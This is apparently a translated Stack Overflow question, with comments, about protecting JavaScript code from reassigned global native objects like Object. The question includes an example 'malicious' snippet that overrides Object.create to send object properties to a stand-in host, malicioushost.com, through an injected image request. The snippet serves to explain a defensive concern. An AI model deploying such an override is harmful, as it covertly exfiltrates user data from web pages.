【发布时间】:2015-01-12 13:58:01
【问题描述】:
首先,我知道,依赖Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配,这不是严格模式,而是应该使用数组文字[],因为如果他总是依赖原生的、真实的 Array(还有一些其他含义,但这是主要的)
但是如何处理Object?有些方法(create、freeze 等)只能通过 Object 标识符访问。
我查看了 AngularJS 的源代码,发现作者依赖于这些对象(Object、Function)不会被重新分配的假设,所以我得出结论,没有更好的方法。但我想听听更有经验的人的意见。
所以问题是:如何保护自己的代码与其他 javascript 代码一起使用,使其免受重新分配的全局原生对象的影响?
更新
我的问题是关于安全问题。因此,这是一种开发人员无法假设的情况:
- 如果 Object 被重新分配,那么其他任何事情都不会正常工作,所以不用担心
- 网站管理员会正确测试他在网站上包含的内容
- 如果 Object 有一些方法并返回预期的结果,那么一切正常
请以这种情况为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
这里 Object.create 的行为与原来的完全一样
真诚地欣赏它。
【问题讨论】:
-
使用模块系统,理想的显示模块模式来保护代码免受外部影响。 addyosmani.com/resources/essentialjsdesignpatterns/book
-
@XGreen 抱歉,我没听懂。假设我需要创建一个旨在与其他代码一起使用的库。我无权访问该代码。如果在我之前执行并重新分配
Object,那么我的将无法正常工作 -
我们在谈论哪个对象?
-
我会说没关系。作为库开发人员,您依赖于在将使用您的库的应用程序中得到尊重的语言标准。此外,人们普遍认为修改原生 JavaScript 对象是不好的做法,会给未来的开发人员造成混乱等。如果某人的代码以 Object.create = function(){ alert("bla") } 开头,然后你的库失败了,那就是他们的问题不是你的。而且他们显然不值得你的超级英雄图书馆伙伴;)
标签: javascript security global-variables javascript-objects